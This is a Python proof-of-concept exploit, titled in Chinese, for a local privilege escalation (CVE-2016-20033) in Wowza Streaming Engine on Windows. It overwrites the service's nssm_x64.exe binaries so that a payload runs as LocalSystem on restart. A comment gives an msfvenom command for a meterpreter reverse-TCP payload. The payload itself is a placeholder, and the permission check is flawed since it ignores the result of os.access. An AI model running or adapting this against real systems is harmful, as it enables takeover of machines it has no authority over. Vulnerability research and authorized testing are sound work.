CVE-2016-20033 Wowza Streaming Engine本地权限提升漏洞

#!/usr/bin/env python3 """ CVE-2016-20033 PoC - Wowza Streaming Engine Local Privilege Escalation Note: This is for educational and authorized testing purposes only. """ import os import sys import shutil import subprocess import platform TARGET_PATHS = [ r"C:\Program Files\Wowza Streaming Engine\manager\bin\nssm_x64.exe", r"C:\Program Files\Wowza Streaming Engine\engine\bin\nssm_x64.exe" ] def check_vulnerability(): """Check if target system is vulnerable""" if platform.system() != "Windows": print("[-] This exploit requires a Windows target system") return False print("[*] Checking for vulnerable Wowza Streaming Engine installation...") for path in TARGET_PATHS: if os.path.exists(path): print(f"[+] Found vulnerable binary: {path}") # Check file permissions (simplified check) try: os.access(path, os.W_OK) print(f"[+] File is writable - system may be vulnerable") return True except: pass print("[-] No vulnerable files found") return False def create_malicious_binary(): """Generate malicious executable (placeholder)""" print("[*] Generating malicious nssm_x64.exe...") # In real attack, use: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > nssm_x64.exe malicious_binary = b'MZ' + b'\x00' * 100 # Placeholder return malicious_binary def exploit(): """Execute privilege escalation exploit""" if not check_vulnerability(): print("[-] Exploit cannot proceed - target not vulnerable") return False print("[*] Backing up original binaries...") backups = [] for path in TARGET_PATHS: if os.path.exists(path): backup_path = path + ".bak" shutil.copy2(path, backup_path) backups.append((path, backup_path)) print(f"[+] Backed up: {path}") print("[*] Creating malicious binary...") malicious_code = create_malicious_binary() print("[*] Replacing vulnerable binaries...") for path, _ in backups: try: with open(path, 'wb') as f: f.write(malicious_code) print(f"[+] Replaced: {path}") except PermissionError: print(f"[-] Permission denied: {path}") print("[*] Try running as administrator or waiting for service restart") return False print("[!] Binary replacement complete. Trigger service restart to execute payload.") print("[*] On next service restart, the malicious code will execute with LocalSystem privileges.") return True if __name__ == "__main__": print("CVE-2016-20033 - Wowza Streaming Engine Local Privilege Escalation") print("=" * 70) exploit()